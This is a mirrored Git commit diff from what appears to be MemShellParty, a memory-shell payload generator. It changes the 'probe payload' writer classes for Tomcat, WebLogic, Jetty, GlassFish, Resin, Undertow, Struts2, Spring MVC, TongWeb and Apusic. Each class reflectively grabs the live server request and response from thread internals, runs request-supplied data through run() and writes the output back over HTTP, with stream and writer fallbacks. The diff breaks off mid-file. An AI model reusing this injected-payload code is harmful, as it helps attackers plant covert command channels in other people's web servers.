mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: response body write failed when getOutputStream already called
This commit is contained in:
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -32,15 +35,25 @@ public class ApusicWriter {
|
|||||||
Object response = getFieldValue(servletInvocation, "response");
|
Object response = getFieldValue(servletInvocation, "response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -96,4 +109,19 @@ public class ApusicWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+42
-12
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,10 +25,8 @@ public class GlassFishWriter {
|
|||||||
// GlassFish3
|
// GlassFish3
|
||||||
Thread thread = Thread.currentThread();
|
Thread thread = Thread.currentThread();
|
||||||
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
return;
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
|
|
||||||
}
|
}
|
||||||
} catch (Exception x) {
|
} catch (Exception x) {
|
||||||
// GlassFish4+
|
// GlassFish4+
|
||||||
@@ -48,10 +49,7 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
||||||
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -64,16 +62,33 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void execute(Object response, String data) throws Exception {
|
private boolean tryWriteRes(Object request) throws Exception {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
|
String data = getDataFromReq(request);
|
||||||
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
private String getDataFromReq(Object request) throws Exception {
|
private String getDataFromReq(Object request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
@@ -119,4 +134,19 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
-9
@@ -2,8 +2,10 @@ package com.reajason.javaweb.probe.payload.response;
|
|||||||
|
|
||||||
import org.eclipse.jetty.util.Callback;
|
import org.eclipse.jetty.util.Callback;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.io.StringWriter;
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -49,24 +51,31 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
StringWriter sw = new StringWriter();
|
String result = "";
|
||||||
PrintWriter writer = new PrintWriter(sw);
|
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
String result = sw.toString();
|
if (result != null) {
|
||||||
System.out.println("result: " + result);
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
try {
|
try {
|
||||||
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
resWriter.write(result);
|
resWriter.write(result);
|
||||||
} catch (Exception e) {
|
resWriter.flush();
|
||||||
|
resWriter.close();
|
||||||
|
} catch (Exception x) {
|
||||||
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
ByteBuffer content = UTF_8.encode(result);
|
ByteBuffer content = UTF_8.encode(result);
|
||||||
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,4 +131,19 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,17 +25,30 @@ public class ResinWriter {
|
|||||||
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
||||||
Object response = getFieldValue(request, "_response");
|
Object response = getFieldValue(request, "_response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
// com.caucho.server.connection.AbstractHttpResponse.close
|
// com.caucho.server.connection.AbstractHttpResponse.close
|
||||||
// 不关闭 response 的话会遇到重复写响应体的情况
|
// 不关闭 response 的话会遇到重复写响应体的情况
|
||||||
invokeMethod(response, "close", null, null);
|
// invokeMethod(response, "close", null, null);
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -84,4 +100,19 @@ public class ResinWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-5
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -23,17 +26,26 @@ public class SpringWebMvcWriter {
|
|||||||
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
|
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -85,4 +97,19 @@ public class SpringWebMvcWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -23,16 +26,26 @@ public class Struct2Writer {
|
|||||||
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -84,4 +97,19 @@ public class Struct2Writer {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -71,14 +74,25 @@ public class TomcatWriter {
|
|||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -134,4 +148,19 @@ public class TomcatWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -70,14 +73,25 @@ public class TongWebWriter {
|
|||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@@ -127,4 +141,19 @@ public class TongWebWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+34
-3
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -31,14 +34,27 @@ public class UndertowWriter {
|
|||||||
Object request = getFieldValue(value, "servletRequest");
|
Object request = getFieldValue(value, "servletRequest");
|
||||||
Object response = getFieldValue(value, "servletResponse");
|
Object response = getFieldValue(value, "servletResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -93,4 +109,19 @@ public class UndertowWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+33
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -38,16 +41,27 @@ public class WebLogicWriter {
|
|||||||
}
|
}
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
// 防止重复写响应,提前触发 send 操作
|
// 防止重复写响应,提前触发 send 操作
|
||||||
invokeMethod(response, "send", null, null);
|
// invokeMethod(response, "send", null, null);
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -101,4 +115,19 @@ public class WebLogicWriter {
|
|||||||
}
|
}
|
||||||
